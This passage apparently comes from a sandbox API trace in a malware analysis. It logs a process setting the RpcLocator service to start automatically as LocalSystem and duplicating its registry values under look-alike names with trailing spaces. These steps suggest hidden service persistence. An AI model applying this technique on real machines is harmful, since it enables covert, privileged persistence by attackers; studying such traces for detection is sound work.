lpcbData=0x0) returned 0x103 [0228.751] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0228.751] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.752] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0228.752] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0228.752] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0228.752] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0228.752] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0228.752] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0228.752] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0228.753] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0228.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0228.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0228.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0228.754] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.754] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.754] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0228.754] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0228.754] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0228.754] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0228.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0228.754] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0228.755] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0228.755] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0228.755] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0228.755] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0228.755] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0228.755] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0228.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0228.755] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0228.756] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0228.756] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0228.756] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0228.756] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0228.756] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.756] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.756] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0228.756] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0228.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0228.756] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0228.757] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0228.758] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0228.758] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0228.758] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0228.758] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0228.758] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0228.758] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0228.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0228.758] LocalFree (hMem=0x7e4b18) returned 0x0 [0228.758] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0228.758] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x803990 [0228.759] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0228.792] CloseServiceHandle (hSCObject=0x803990) returned 1 [0228.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0228.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0228.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0228.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0228.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0228.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.793] RegCloseKey (hKey=0xc4) returned 0x0 [0228.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.793] RegCloseKey (hKey=0x148) returned 0x0 [0228.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 